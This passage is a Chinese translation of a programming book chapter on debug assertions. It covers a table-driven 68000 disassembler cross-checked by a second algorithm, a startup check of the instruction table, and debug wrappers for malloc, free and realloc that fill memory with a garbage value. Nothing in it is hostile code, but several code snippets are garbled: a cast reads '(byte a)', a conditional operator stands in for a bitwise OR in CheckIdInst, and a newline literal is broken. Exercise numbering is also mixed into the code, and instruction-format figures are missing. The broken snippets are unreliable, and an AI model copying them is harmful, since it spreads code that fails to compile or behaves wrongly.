当然，我没写142个不同的if叙述来检查每个可能的指令，我作了张有屏蔽，位格式跟指令译码函式地址的指令表。检查算法会查遍整张表，如果有符合的指令，就呼叫对应的子程序来解读指令的缓存器跟模式字段。

底下是这张表的一部份，还有使用它的程序：

/* idInst是张识别各指令的位屏蔽与位格式的指令表 */

static identity idInst[] =

{

{ 0xFF00, 0x0600, pcDecodeADDI }, /* mask, pat, function */

{ 0xF130, 0xD100, pcDecodeADDX },

{ 0xF000, 0xD000, pcDecodeADD },

{ 0xF000, 0x6000, pcDecodeBcc }, /* short branches */

{ 0xF1C0, 0x4180, pcDecodeCHK },

{ 0xF138, 0xB108, pcDecodeCMPM },

{ 0xFF00, 0x0C00, pcDecodeCMPI },

{ 0xF1C0, 0x81C0, pcDecodeDIVS },

{ 0xF100, 0xB100, pcDecodeEOR },

.

.

.

{ 0xFF00, 0x4A00, pcDecodeTST },

{ 0xFFF8, 0x4E58, pcDecodeUNLK },

{ 0x0000, 0x0000, pcDecodeError }

};

/* pcDisasm

* 反组译指令，并填入opc运算码结构中，

* 然后传回更新过的程序计数器值。

* 一般用法：pcNext = pcDisasm(pc，&opc);

*/

instruction *pcDisasm(instruction *pc, opcode *popcRet)

{

identity *pid;

instruction inst = *pc;

for (pid = &idInst[0]; pid->mask != 0; pid++)

{

if ((inst & pid->mask) == pid->pat)

break;

}

return (pid->pcDecode(inst, pc+1, popcRet));

}

如你所看到的，pcDisasm不是个大函式。它用了个读取目前指令，查表，然后呼叫译码子程序填好popcRet指向的opcode结构的简单算法。pcDisasm的最后工作就是把更新过的程序计数器值传回，这是必要的，因为不是每个68000的指令长度都是一样的。这个译码子程序会在需要时读取指令的额外部分，并传回新的程序计数器值给pcDisasm，再传给呼叫pcDisasm的程序。

现在回到原来的话题，我们正在讨论你没办法确定子程序永远不会传回垃圾的问题。

一个像pcDisasm般的函式，很难说它传回来的资料是不是正确的。即使pcDisasm本身会适当的辨识指令，译码子程序也可能会吐出垃圾，让你找臭虫找个老半天。一个抓住这样错误的办法是将除错检查宏加到每个译码子程序中。我没说你应该这么作，不过有个更为有用的方法，就是将除错检查宏加在pcDisasm中，因为这里是所有译码函式的瓶颈所在。

问题是，怎么作？你如何自动检查每个译码子程序是不是都正确填好了opcode结构？你得写程序来检验这个结构的正确性，而你又会怎么写这东西？基本上，你得写个子程序比较一个68000指令跟opcode结构内容。换句话说，你得写第二个反组译器。

我知道这听起来很疯狂，不过这真的会很疯吗？

看看Microsoft Excel在它的重新计算引擎里的设计吧。速度对于一个电子表格程序的成功是很关键的要求，Excel使用了一种复杂的算法来确定它不会重复计算一个不需要重新计算的储存格。唯一的问题是这算法太复杂了，改写它很难不产生新错误。Excel的程序员们不喜欢这件难事，所以它们在除错版的程序中写了另一个重新计算引擎。当灵巧的那一个引擎停止计算后，除错版的引擎就开始计算，缓慢但完整的重新算过每个有表达式的储存格。当两者的结果有所差异时，就会让除错检查宏出现不成立的状况。

Microsoft Word也有类似的问题，因为速度对于文书处理器的排版程序也是重要的东西，Word的程序员们把排版程序代码用手工最佳化过的汇编语言来写。这东西当然跑得很快，可是除错上很伤脑筋。不像不常更动的Excel重新计算引擎，Word的排版程序代码经常在新功能加入Word时被动到。为了自动捕捉排版错误，Word的程序员们用C重写了每个手工最佳化过的汇编语言子程序。如果两个版本的结果不一样，除错检查宏的条件式就不成立。

同样的，用个除错版的反组译器来核对我在程序发展工具中写的主反组译器也是有意义的。

我不会拿我怎么写第二个反组译器pcDisasmAlt的细节来烦你，不过它的逻辑并不是查表法。我用巢状的switch叙述来去掉有效位，直到分离出正确指令为止。后面就是我怎么用pcDisasmAlt来核对主反组译器结果的程序代码。

instruction *pcDisasm(instruction *pc, opcode *popcRet)

{

identity *pid;

instruction inst = *pc;

instruction *pcRet;

for (pid = &idInst[0]; pid->mask != 0; pid++)

{

if ((inst & pid->mask) == pid->pat)

break;

}

pcRet = pid->pcDecode(inst, pc+1, popcRet);

#ifdef DEBUG

{

opcode opc;

/* 检查两个结果是不是吻合。 */

ASSERT(pcRet == pcDisasmAlt(pc, &opc));

ASSERT(compare_opc(popcRet, &opc) == SAME);

}

#endif

return (pcRet);

}

正常说来，除错检查不应该影响到现有程序结果，不过在这里我没办法完全作到这点－我得宣告一个存放pid->pcDecode传回来结果的区域变量pcRet，才能在接下来作核对。这没什么问题，这并没有违背"不应该拿除错版本程序代码产生的结果来取代发行版本程序的结果"的基本原则。这原则当然很对，不过当你开始用除错检查宏跟除错程序代码时，你会发现有时候你真的得执行除错版本的程序代码来替代发行版本程序，我们在第三章就会碰到一个例子。不过在那之前，让我重申一遍：不要那样作。我虽然更动了pcDisasm来加上除错检查，不过发行版本的程序代码还是都跑到了。

我不会要求你一定要替程序的每个函式都写两个版本出来，那样子作就跟要求每个函式都跑得很有效率一样可笑而且浪费时间。我相信大部分的程序都有正常运作必须的关键功能，这关键的部分最不可以出错。在文书处理程序中，排版引擎就是个关键。在项目管理程序中，工作时程表就是关键。数据库里头，关键在于资料搜寻与取出引擎。对每个程序，保障使用者永远不会遗失资料的程序代码都是关键所在。

当你写程序时，留意每个核对结果的机会，瓶颈所在的子程序就是仔细检查的好地方。如果可能，用另一套算法而不只是同样算法的另一个实作版本，来检查输出的结果是不是正确的。藉由不同算法的使用，你不只找得出实作的错误，也能增加找出算法本身错误的机会。

用第二种算法来核对结果。

嘿，这里怎啦？

本章稍早，我说过你必须小心定义ASSERT宏。我特地提到，这宏不能搬动内存，不能呼叫别的函式或是造成其它非预期的副作用。如果这些都是对的，为什么我在pcDisasm中用了底下这样的除错检查宏？

/a Check both outputs for validity. a/

ASSERT(pcRet == pcDisasmAlt(pc, &opc));

ASSERT(compare_opc(popcRet, &opc) == SAME)

ASSERT不可以呼叫函式的理由是这个宏可能会非预期的干扰到周围的程序代码。不过在上面的程序片段里，ASSERT并不是在呼叫函式；我是写ASSERT的人，我知道这样子在pcDisasm中呼叫函式是安全的而不会产生任何问题，所以我并不担心在除错检查宏中呼叫函式。

在一开始就把错误找出来

到现在为止，我都忽略了指令的缓存器跟模式字段，不过如果这些字段有个特别的编码方式改变了指令本身的意义呢？举例来说，EOR指令长得像这样：

而CMPM指令长得出奇的像EOR：

注意到，如果EOR的有效地址模式是001，这样的EOR指令就长得像是个CMPM指令了。当然问题就是，如果把EOR指令放在IdInst指令表的前面，它会挡到CMPM指令的判断。

还好，pcDisasm跟pcDisasmAlt做法不同，你会在第一次要反组译CMPM指令时碰到除错检查宏发出来的警报。这是因为pcDisasm会把opcode结构填成EOR指令，可是pcDisasmAlt会正确（至少我们希望如此）填入CMPM指令的东西。当两个结构在除错码中比较时，你就会得到检查失败的结果。这是个在除错时使用不同算法对结果后找到错误的正面例子。。

坏事是，只有在你试着反组译CMPM指令时，你才会抓到问题。我希望你的外部测试套件够完整得能抓到这个问题，不过记住我在第一章中说过的：你得尽可能早的自动抓到臭虫，而不要依赖别人找寻错误的技巧。

所以当你希望把这东西丢给测试小组去解决时，先不要那样作。尽管许多程序员相信测试人员是帮他们找寻问题，实际上测试人员存在的目的是找寻程序员没找到的错误，写程序的人应该自己找寻自己制造的臭虫。如果你不同意，不如不要把自己叫做程序员了，叫个别的名称都好，反正你可以毫不在意的乱写东西，一定会有人帮你检查哪边犯了错，不是吗？写程序没有例外的，如果你要写出零错误的程序，你就必须抓紧机会，把握每个能找出错误的机会。如果你没有这样的观念，从现在起照着这观念作吧。

当你注意到程序中某个危险的东西跑了过去，问问你自己，"我该怎样尽可能早的自动抓到那个错误？"

习于如此自我省问，你将发现各种让你的程序更稳固的方法。

在main主函式初始化过程序后，你可以检查一下指令表中有没有错误。只要看看指令表中的各个指令有没有跟前面的判断互相冲突的，就能找到有没有错误了。底下的程序代码就是检查指令表中有没有这样的错误的，虽然短了点，也不用写得太清楚了：

void CheckIdInst(void)

{

identity *pid, *pidEarlier;

instruction inst;

/* 检查指令表中的每个指令... */

for (pid = &idInst[0]; pid->mask != 0; pid++)

{

/* ...verify that no earlier entries collide with

it. */

for (pidEarlier = &idInst[0]; pidEarlier < pid;

pidEarlier++)

{

inst = pid->pat ? (pidEarlier->pat & ~pid-

>mask);

if ((inst & pidEarlier->mask) == pidEarlier-

>pat)

ASSERT(bitcount(pid->mask) <

bitcount(pidEarlier->mask));

}

}

}

这个检查会逐一比对稍早出现过的指令跟现在的指令。每个指令都有个忽略屏蔽－通常是缓存器与模式位被屏蔽掉。不过如果这些被屏蔽掉的位里有组成在指令表中前面的指令所需的位呢？这时你就找到两个冲突的指令了。哪个指令放到前面去才好？

这答案很简单，如果有一串位吻合指令表中的两个指令的格式，明确位愈多的指令应该在指令表中排得愈前面。如果你觉得这样不够直觉，再看一下EOR跟CMPM的指令格式吧。如果有一串位吻合这两个指令的格式，你会怎么判定哪一个才是这一串位所表示的指令？为何如此？由于屏蔽位对每个明确位的对应位都是1，你可以找出哪个指令有更多明确位，只要计算一下屏蔽中被设立的位数就好了。

更困难的是如何分辨哪两个指令冲突了。上头程序中的构想是将一个指令格式中的忽略屏蔽填成前面每一个命令对应的位，如果产生的结果能满足前面某一个指令的格式要求，就找出冲突的两个命令在指令表中的位置了。

警告

一旦你开始用除错检查宏，你大概会发现你抓到的臭虫数急速增加。这会吓到那些没准备好的人们。

我有次重写了一个错误百出的链接库，微软公司内好几个小组共享这链接库。原来的版本没有任何除错检查宏，我写的新版本里头则有用到。我得到预料之外的惊讶反应，当我把新链接库丢出来时，一名程序员愤怒的要我把原来的版本弄回来。我问他，为什么。

"我们安装了你写的新版本，结果得到一大堆错误"，他说。

"你认为是这链接库造成的问题？"我吓到了。

"看来是这样。我们碰到一大堆我们没碰过的除错检查宏发出的警告讯息。"

"你有看过这些警告讯息中的任何一个吗？"

"我们看过了，那些都说是我们程序中的错误，可是那么多错误不可能都是真的错误。我们没有时间可以浪费在找这些鬼错误上，把我们的老链接库弄回来！"

嗯，我不认为他看到的是鬼错误，所以我要他继续用我的链接库版本，直到他真的碰到了鬼错误为止。他很生气，可是他承认，到目前为止，他所找到的错误都是在他的项目程序里的，而不是链接库中的。

那名程序员吓慌了，因为我没告诉任何人我在链接库中加上了除错检查宏，没人预期会碰到一堆错误讯息。如果我告诉人们注意看他们碰到的错误讯息，我就不会让程序员们抓狂了。不过程序员们并不是唯一抓狂的人，因为公司以未完成的功能数和抓到的臭虫数来评估项目进度，只要这两个数字一大幅攀升，参予项目的每个人就会开始紧张。如果你可以，好好预警你底下的人，告诉他们不要太紧张。

在程序开头呼叫CheckIdInst，你就可以在程序一执行时找到冲突的指令了－你还不必反组译任何一个命令哩。你应该在自己程序的开头设计类似的激活检查，因为他们能快速预警错误的存在，而不会让错误不小心躲过你的视线。

不要等到错误发生；使用激活检查吧。

除错检查宏永远有效

在本章中，你已经看到如何用除错检查宏来自动捕捉程序中的错。当这种做法成为帮你迅速找到"最后"一只臭虫的宝贵工具时，你可以如其它工具一般的滥用它，怎么用全看你自己。对某些程序员来说，检查一个除法的分母不为零也许很重要；对别人来说，这则是很好笑的事情。所以唯有经过你自己的判断，这个工具才派得上用场。

另一件事：在项目的生命周期里，把除错检查宏放进程序中－除非程序已经发行了，不然不要拿掉除错检查宏。这些检查在你开始为下一版本的发行作准备时会再度变成很宝贵的基础。

快速回顾

? 维护程序的发行版跟除错版。发行版用来打包发行，除错版用来尽可能快速抓虫。
?

? 除错检查宏是写出除错检查的快速方式。用它们来捕捉不应该发生的非法状况。不要把这些状况跟错误状况混在一起；错误状况在最后的产品中一定得被处理掉。

? 用除错检查宏来核对函式参数，并警告程序原有东西是未定义的。你愈严格定义你的函式，核对它的参数就愈简单。

? 一旦你写好了一个函式，把它重新检查一遍，并问问你自己，"我假设了什么条件一定成立的吗？"如果你找到一个假设条件，用除错检查宏检查这条件是否永远成立，或者重写程序以去除这样的假设。也问问自己，"程序中哪里最可能出错，我怎样才能自动找到错误？"尽可能将捕捉错误的测试放在愈早执行到的地方愈好。

? 教科书鼓励程序员防御性的写程序，可是记住这种写作方式会隐藏错误。当你写出防御性的程序时，用除错检查宏来提醒你自己是否有"不可能"发生的状况发生了。

该想想的事

1. 假设你维护一套共享链接库，你要把除错检查宏加进去，可是你不想把链接库原始码公开出来。你该如何定义ASSERTMSG这个用来显示一段有意义讯息的宏，取代本来显示的档名跟行号数呢？例如memcpy子程序也许会显示下面除错维护讯息：

Assertion failure in memcpy: The blocks overlap

2. 每当你使用ASSERT时，__FILE__宏产生一个唯一的文件名字符串。这表示说，如果你在同个档案中使用了73次除错检查宏，编译器就会产生同个文件名字符串的73个复制体。你该怎样实作ASSERT宏，让文件名在每个档案中只会被定义一次？

3. 底下函式中的除错检查宏哪里错了？

4. /* getline - 读取以中止的一行文字到缓冲区中。 */

5. void getline(char *pch)

6. {

7. int ch; /* ch must be an int. */

8.

9. do

10.

11. ASSERT((ch = getchar()) != EOF);

12. while ((*pch++ = ch) != n');

}

13. 当程序员们在一个资料列举型态中加入了新元素，它们有时会忘了在适当的switch叙述中处理新的元素条件。怎样使用除错检查宏才能找到这种错误？

14. CheckIdInst检查IdInst指令表中的项目是否排列正确，可是指令表中会出现的问题并不只有这一种。有那么多个指令，打错屏蔽或指令格式的数值是很容易发生的事情。你该如何加强CheckIdInst来检查这样子打错的东西？

15. 稍早我们看到EOR指令的有效地址模式字段的值是001时，真正表示的是个CMPM指令。还有其它指令也包含在我们使用的EOR指令格式中，像EOR的那个两位的模式字段的值就不能是11（不然就变成CMPA.L指令了），而有效地址模式字段如果是111，有效地址缓存器字段就必须是000或001. 由于pcDecodeEor永远不会碰到这些不是EOR的组合，你该怎样加上除错检查宏来捕捉表格中的这些错误？

16. 怎样用第二种算法来查对qsort函式的结果？怎样查对一个二元搜寻子程序的结果？怎样查对itoa函式的结果？

学习计划：

联络你的操作系统厂商，鼓励它们提供一套除错版本的操作系统给程序员们。这样子一来对于双方都有好处，因为操作系统厂商希望人们替他们的操作系统写应用程序，这样子可以让这个操作系统上执行的产品更容易出现于市面。


增強子系統

增強子系統

一场橄榄球赛就算有五千名球迷到场观战，也只需要几个计票员－当然，前提是他们都站在球场门口前。你的程序就有这样的门口，用来进入各个程序中的子系统。

想想你用的档案系统，你开关档案，读写档案，建立档案中的资料。这其中有五个基本的档案存取动作，而支持这些动作的程序通常又大又复杂。但从这些使用档案系统功能的进入点，你不用担心档案目录怎么摆的，储存空间怎么分布的，也不用担心怎样读写档案，不管是从磁盘驱动器、磁带机还是网络上。

内存管理也是如此，你配置内存，释放内存，有时改变配置的内存块的大小，却不用管这些动作的背后是怎么处理的。

一般说来，子系统将其下可能相当复杂的实作细节隐藏，而其供给个关键进入点让程序员能跟子系统所提供的功能沟通。如果你是在这样的子系统进入点上加上一些除错检查，你就能得到实在的错误检查而不用大费周章的到处更动程序代码。

假设你得替一个标准C语言执行期链接库写出malloc，free跟realloc子程序。（总得有人来写这些东西的，不是吗？）你可以将这些程序加上除错检查宏，你可以彻底将它测试过，然后你可以写本一流的程序写作指导手册。不过你我都知道，即使如此，程序员们还是会在使用这些程序时碰到问题。你该怎么帮助他们？

这里有个建议：当你已经写好一个子系统时，问问你自己，"程序员们会怎样误用这个子系统？我该怎么把这些问题自动抓出来？"你也许在开始写程序以前就自问过这些问题，拿掉了危险的设计方式，但你得对同样的问题再自我省思一遍。对一个内存管理器而言，你可以想到程序员可能会作底下这些事：

? 配置一块内存，使用里头未初始化的内容。

? 释放一块内存后，继续使用它里头存放的东西。

? 呼叫realloc加大一块内存，却在内存块被搬移后继续使用内存块旧位置的内容。

? 配置内存后，没保留好内存地址的指针。

读写不在已配置内存块所属空间内的内容。

没注意到错误状况。

这些问题不是随便乱说出来的－这些问题总是层出不穷的出现着。更糟糕的，它们经常难以找出来，因为这些问题不会重复出现。

当一次机，下一次跑又不当了－至少在你程序的使用者生气要你修好这个经常当机的问题之前，你的程序没在你的机器上再当掉过。这些错误不好找，可是那不表示你改善不了这种情形。除错检查宏很好用，可是得要让这些检查跑得到才行。看看上面的情况，告诉我，在内存管理器中放入除错检查宏会有用吗？一点用也没有。

在本章中，我会谈到你能用来找寻别的方法很难找出来的子系统错误的其它技巧。我会用C语言的内存管理器作为例子，不过你还是可以把后头提到的技巧用到别的子系统上，无论那是个简单的串行管理器或共享的文字存取引擎。

时有时无的错误

一般说来，你会把测试检查直接写在子系统中，不过我不会这样作的理由有两点。首先，我不想用malloc，free跟realloc的实作程序代码填满这整本书。再者，你有时不可能拿得到你用的子系统的原始码。我用来测试本书中范例的半打编译器中，只有两个提供了标准链接库的原始码。

代替将测试检查写到你可能拿不到的原始码中或者写到跟我手上的原始码完全不一样的东西里头的做法，是在内存管理器提供的子程序呼叫之上加上一层包装。不管你有没有你使用的子系统的原始码，你都可以这样子作。我这样子作了以后，我在整本书中就沿用这些加盖上去的包装函式了。

这就开始提malloc的包装函式。这包装函式看起来就像这样：

/* fNewMemory - 配置一块内存。 */

flag fNewMemory(void **ppv, size_t size)

{

byte **ppb = (byte **)ppv;

*ppb = (byte *)malloc(size);

return (*ppb != NULL); /* 成功？ */

}

这看来可能比malloc复杂，不过这大抵是由于void **这个参数指针造成的视觉错乱引起的。如果你看过程序员怎么使用这个函式的，你就会发现这个函式并不会比呼叫malloc来得差。本来是写这样：

if ((pbBlock = (byte *)malloc(32)) != NULL)

成功 - pbBlock指向配置到的内存块

else

不成功 - pbBlock的值是NULL

你会写成：

if (fNewMemory(&pbBlock32))

成功 - pbBlock指向配置到的内存块

else

不成功 - pbBlock的值是NULL

这样也达到了同样效果。两个函式的唯一不同是，fNewMemory分开了成功与否的判断跟指针结果的输出，而malloc把两个东西混在一起送出来。其实在两个写法里头，如果内存配置成功了，pbBlock都会指向配置好的内存块，否则pbBlock就会是NULL.

在上一章中，我说你应该消除未定义行为的存在，或者使用除错检查宏来检查未定义行为的运作。如果你将这些建议用在malloc上，你将看到两个必须处理的未定义状况。首先，要求malloc配置一块没有大小的内存（依据ANSI标准）是没有意义的。再者，malloc如果传回一块内存，它不会初始化那块内存的内容－那块内存也许全部都为0，或者保留着之前用过那个地方的程序留下的垃圾，反正你不知道会是哪种情形。

处理配置没大小的内存块的要求很简单。你用个除错检查宏检查就好了。不过另一个问题该怎么处理？你能检查一块内存的内容到底有没有用吗？一点意义也没有。所以你只有一个选择：消除未定义的行为。这样的做法就是让我们在fNewMemory中将配置好的内存全部填为0. 这么作当然有用，可是在一个正确的程序中，配置出来的内存块一开始的内容不管是怎样子，应该都不打紧的。以不必要的填写动作加重程序的负担是应该避免的。

何况不必要的填写动作也会藏住错误。

假设你给一个数据结构配置一块内存，却为了初始化一个字段－或者一个维护这程序的人扩充了结构的字段，却忘了替新字段加上初始化的动作。这么作当然是错的，可是如果fNewMemory替你把这些字段都填成了0或别的可能有用的值，你就不会注意到这样错误的做法。

不过你还是不希望内存内容出现未定义的状态，因为那样子错误不好重现，你就不好抓出错误来。如果错误只发生在这些未定义内容的值是个特定值时，在大多数状态下你就会漏掉这只臭虫，而让程序在某个时候莫名其妙当掉。想象一下，如果每个错误都只在某些不特定时候出现，你要怎么让程序达到零错误？程序员们（跟测试员们）为了抓出这些臭虫，一定会抓狂。找出错误的关键，就是在你发现会产生随机结果的非预期行为时，消除这样的行为。

你该怎么作，决定于你所用的子系统是怎样子的，以及会产生随机结果的非预期行为是怎么来的。要消除malloc制造的随机行为，只要将配置出来的内存填入某个值就好了－不过你只能在除错版的程序中这么作。这样子解决了问题，而不用在你推出的程序中放上一副影响执行速度的铁链。不过必须记住，不要把错误隐藏起来。这里的构想是，内存还是照样填入一个固定值，不过这个值看起来就像垃圾，会让错误无所遁形的垃圾。

我在麦金塔的程序中使用0xA3的值。在我挑选这个值以前，我问过自己几个问题：怎样让一个坏指针自己暴露出来？怎样让不正确的计数器或数组索引现形？如果数组中的内容被当成程序执行，结果会怎样？

在一些麦金塔机器上，你不能在奇数地址上读写16位或32位的数值，所以我想我该挑着奇数值。我也知道，一个看起来大得足以造成系统变慢或错乱的错误计数器或数组索引会更好被找到。最后，我挑出了一个又怪异又大而又能用字节表示的奇数值，0xA3，因为当内存块被当成程序执行时，0xA3A3是个未定义的机械语言指令，会立刻让程序当掉－你在系统除错器中会得到一个"未定义的A列陷落"。（译注：在Motorola 680X0微处理器系列上，所有A开头的机械码指令都会造成这个陷落例外，让系统能够处理某些东西。有些680X0的操作系统就靠这种特性来提供如MS-DOS上INT 21h等透过中断呼叫来提供的的系统功能。）最后一点看来有点吹毛求疵，不过有什么理由不把握任何一个能自动捉住错误的机会，不管这机会有多小呢？

在你的机器上，你挑的值可能不同。在以Intel 80x86为微处理器的系统上，指针可以是奇数值，用不用奇数值当作除错值就不重要了。不过挑选这个值的过程还是相似：你该省思一下未初始化的内存会怎么被用到，然后想办法让这种情形能被找出来。微软的应用程序用0xCC来填写刚配置出来的内存块，因为这数字够大，容易注意到，而且如果被执行到，会自动呼叫除错器的断点处理。（这个值本身就是Intel 80x86微处理器用来当作除错断点指令用的。）

如果你将检查大小的除错检查宏跟填写特定值到未初始化内存块的程序代码加上，fNewMemory会变成

#define bGarbage 0xA3

flag fNewMemory(void **ppv, size_t size)

{

byte **ppb = (byte * )ppv;

ASSERT(ppv != NULL && size != 0);

*ppb = (byte *)malloc(size);

#ifdef DEBUG

{

if (*ppb != NULL)

memset(*ppb, bGarbage, size);

}

#endif

return (*ppb != NULL);

}

这一版的fNewMemory不只可以让错误重现，而且让这些错误更易于被找出来。如果你发现自己的循环索引的值是0xA3A3，或者找到一个指针的值是0xA3A3A3A3，那很清楚的就是你用到了未初始化的资料。不只一次，我找到了一个错误后，又发现另一个错误，只因为它们一连串的使用了未初始化的内存区块而读到一堆0xA3.

所以，检查你程序中使用的子系统，找出设计上会产生随机错误的那些地方。一旦你找到了，变更你的设计来消除这些随机错误产生的原因，或者加入除错码来减低随机现象出现的机率。

消除随机行为。

让错误可重现。

辗碎垃圾

free的包装函式长得像这样：

void FreeMemory(void *pv)

{

free(pv);

}

ANSI标准说free在你传入一个非法指针时的行为是未定义的。这听来合理，可是你怎么判断pv是合法的？你怎么检查pv指向一块已配置内存的起头？答案是，你没办法，至少你得要有更多信息才作得到。

还有更糟糕的呢。

假设你的程序处理某种树状结构，而删除树状结构中某个节点的deletenode子程序呼叫FreeMemory来释放某个节点。如果deletenode中有个错误会让它释放了节点的内存，可是没同时更新周围那些已配置节点指向这个被释放节点的连结指针？很明显，你将有个包含已释放内存块的树状结构。还有你意想不到的，在大部分系统上，这个已释放节点会继续让你觉得它的内容是合法的。

这应该不会太惊人才对，当你呼叫free时，你只告诉内存管理器说你不需要那块内存了而已，它为什么要帮你把里头的垃圾处理掉？

那是个合理的最佳化做法，但对被释放的那块内存来说有个糟糕的副作用－里头都是别人丢掉的东西－让它看起来好象还是带着合法的资料。这样子并不会让你有一个进行处理时会让你的系统当掉的已释放节点的树状结构，这个树状结构的内容看起来完全正常。所以你怎么找出这种问题？除非你有买到中奖彩券的运气，不然实在不太可能找得到。

"没问题"，你说，"我在FreeMemory里头加上一些除错码，在内存块被释放前填上0xA3的值，这样子里头的内容看起来就保证像是垃圾了，而处理树状结构的子程序将会在碰到这个已释放节点时当掉。"好构想，不过这内存块有多大？糟糕，你不知道！

你可能会放下双手，宣布FreeMemory已经打败你了。毕竟你不能检查pv到底合不合法，因为你没办法检查。你也不能清掉已释放内存块的内容，因为你不知道它到底多大。

不要放弃得太快。假设一下，你有个除错函式sizeofBlock可以告诉你任何已配置内存有多大。如果你有内存管理器的原始码，你大概不用费多少力就可以写出这样的函式。不过即使你没有，也不用担心－我会提供一个本章稍后要用到的sizeofBlock实作。使用sizeofBlock，你可以在释放一块内存前先把它的内容清掉。

void FreeMemory(void *pv)

{

ASSERT(pv != NULL);

#ifdef DEBUG

{

memset(pv, bGarbage, sizeofBlock(pv));

}

#endif

free(pv);

}

这程序代码不只填写内存块的内容，还用呼叫sizeofBlock的副作用来核对pv合不合法。如果这指针是坏的，sizeofBlock会发出警告－它能作到这点，因为它必须认得每一个已配置的内存块。

这可能很奇怪，我怎么用了个除错检查宏来检查pv是不是NULL，何况NULL对free来说是合法的参数值－ANSI标准说这种情形下free什么事也不会作。理由很简单：我不相信除了方便以外，还有什么理由要将NULL传入函式中；这个除错检查宏只是简单的核对这里的指针内容而已。当然，你的想法可能不同，你也可以把这个检查拿掉。我所要指出的是，你不用盲目跟着ANSI标准所说的每一件事情。别人认为free应该能接受NULL指针，并不表示你应该强迫自己也接受这种观念。

realloc函式是另一个会释放内存并制造垃圾的地方。底下是它的包装函式：

flag fResizeMemory(void **ppv, size_t sizeNew)

{

byte **ppb = (byte **)ppv;

byte *pbNew;

pbNew = (byte a)realloc(*ppb, sizeNew);

if (pbNew != NULL)

*ppb = pbNew;

return (pbNew != NULL);

}

类似fNewMemory，fResizeMemory也传回一个状态旗标，显示它是否已经成功改变了内存块的大小。假设pbBlock指向已配置内存，你就可以用底下的方法改变内存块的大小：

if (fResizeMemory(&pbBlock，sizeNew))

成功 - pbBlock指向新的内存块地址

else

不成功 - pbBlock指向旧地址

你应该注意到了不像realloc，fResizeMemory不会在操作失败时传回NULL指针；它把本来的指针传回来，仍然指向本来那个没改变大小的内存块。

realloc函式（以及fResizeMemory）令人感到有趣的地方在于它同时处理free跟malloc的功能，视你要的是扩增或缩减内存而定。在FreeMemory中，我在内存块释放以前把它的内容处理掉。在fNewMemory中，我把malloc配置出来的新内存块的内容填成难看的垃圾。这两件事你都得作到，好让fResizeMemory稳固得起来。这需要两段不同的除错码：

flag fResizeMemory(void **ppv, size_t sizeNew)

{

byte **ppb = (byte **)ppv;

byte *pbNew;

#ifdef DEBUG

size_t sizeOld;

#endif

ASSERT(ppb != NULL && sizeNew != 0);

#ifdef DEBUG

{

sizeOld = sizeofBlock(*ppb);

/* 缩减内存块大小时，把尾端的内容处理掉。 */

if (sizeNew < sizeOld)

memset((*ppb)+sizeNew, bGarbage, sizeOld-

sizeNew);

}

#endif

pbNew = (byte a)realloc(*ppb, sizeNew);

if (pbNew != NULL)

{

#ifdef DEBUG

{

/* 扩大内存块时，初始化尾端的新区域。 */

if (sizeNew > sizeOld)

memset(pbNew+sizeOld, bGarbage, sizeNew-

                        sizeOld);

}

#endif

*ppb = pbNew;

}

return (pbNew != NULL);

}

这看起来多了一堆程序代码，不过当你仔细观察时，你会发现到大部分都在#idef编译指示中。不过就算这些东西都是额外的程序代码好了，担心这样多出来的程序代码会造成什么问题都是浪费精力的事情。

除错版本不需要既小又快;它们唯一的需要作到的就是稳定到让程序员跟测试者能够跑得动它们。除非程序代码变得太肥或是慢到让程序员与测试者拒绝用它，不然你可以加入任何你想要的除错码来加强程序的稳定度。如果程序代码太大了或太慢了，你可以用特定集合的除错码来产生混合版本的程序。

重要的是，检查你的子系统，找出配置或是放内存的地方，确定它处理完的内存中都是看来像垃圾的东西。

把丢掉的数据处理干净，才不会被误用。

把区域变量用#ifdef围起来真的很难看！

看一下sizeOld这个除错用的区域变量。把它用#ifdef括起来也许不好看，可是对于将所有除错码从发行版本的程序中移除有所帮助。当然，我晓得，如果你把#ifdef从那边拿掉，整个程序会更有可读性，函式当然也还是会在发行版根除错版的程序中正确执行。唯一的缺点是，在发行版的程序中，你宣告了sizeOld却从来没用到它。

这么作看来好好的，却有个大问题。如果维护程序的程序员没注意到sizeOld只是个除错用的变量而误用了它，这个没经过初始化的变量会在发行版的程序里头造成什么问题？把这样的变量用#ifdef围起来，你可以避免程序元误用这变量，而不会在发行版的程序要编译时让编译器发出错误讯息。

把除错用的变量用#ifdef围起来确实不好看，可是有助于去除一个潜在的错误。

搬家工人

假设你的程序呼叫fResizeMemory来扩大一个装着可变长度资料的树状结构节点，而不释放这个节点的内存。如果fResizeMemory将节点在扩充内存块大小时搬移了，你现在就有两个节点了：新位置上那个新的节点，跟旧位置上那个装着没处理掉的垃圾的节点。

如果程序员写的expandnode没注意到fResizeMemory可能会在扩大节点大小时搬移它的话，会发生什么事？程序员不会让整个树状结构的其它地方都维持在旧状态，周围的节点仍然指向原来那个看起来仍然有效的节点？新的节点会不会就这样被丢着，没有任何指向它的指针保留着？结果，你会有个看起来好好的，实际上却坏了的树状结构－跟一块遗失的内存。这样子不好吧？

现在你可能会想，让fResizeMemory在搬移内存块时毁掉旧内容不就好了？呼叫一下memset就能作到这件事了。

flag fResizeMemory(void **ppv, size_t sizeNew)

{

.

.

.

pbNew = (byte a)realloc(*ppb, sizeNew);

if (pbNew != NULL)

{

#ifdef DEBUG

{

/* 内存块搬移时，把旧的那一块的内容毁掉。 */

if (pbNew != *ppb)

memset(*ppb, bGarbage, sizeOld);

/* 扩大内存块时，初始化尾端的新区域。 */

if (sizeNew > sizeOld)

memset(pbNew+sizeOld, bGarbage, sizeNew-

sizeOld);

}

#endif

*ppb = pbNew;

}

return (pbNew != NULL);

}

不幸的，你不能这么作。即使你知道旧内存块的位置跟大小，你也不能把它的内容处理掉，因为你不知道内存管理器会对它掌握下的未使用内存作什么处置。有些内存管理器什么也不作，其它的则将它用来存放未使用内存块的串联资料或其它内部实作的资料。事实是，一旦你是放了内存，你就不再拥有它，也不能再去动它了。如果你去动了你释放的内存，你就得冒着系统当掉的风险。

"我克服了其它问题，我还需要担心这个吗？"我想式的，主要因为程序员们不知道，或经常忘记，realloc可以搬移内存块的地址。找出这个问题是重要的。

在一个特例中，我在替微软内部的68000交叉汇编器加上新功能时，Word跟Excel的程序员要我找出一个会随机当掉系统的老臭虫。唯一的困难在于这只臭虫很少出现，每个人都不太常碰到它，可是每个人都碰过，所以他们希望先把这个问题找出来。我不会告诉你整个细节经过，不过那花了好几个星期，到处找来找去，我才弄出一个可以重现那个错误的环境，然后我又花了三天才找出真正的出错的地方。

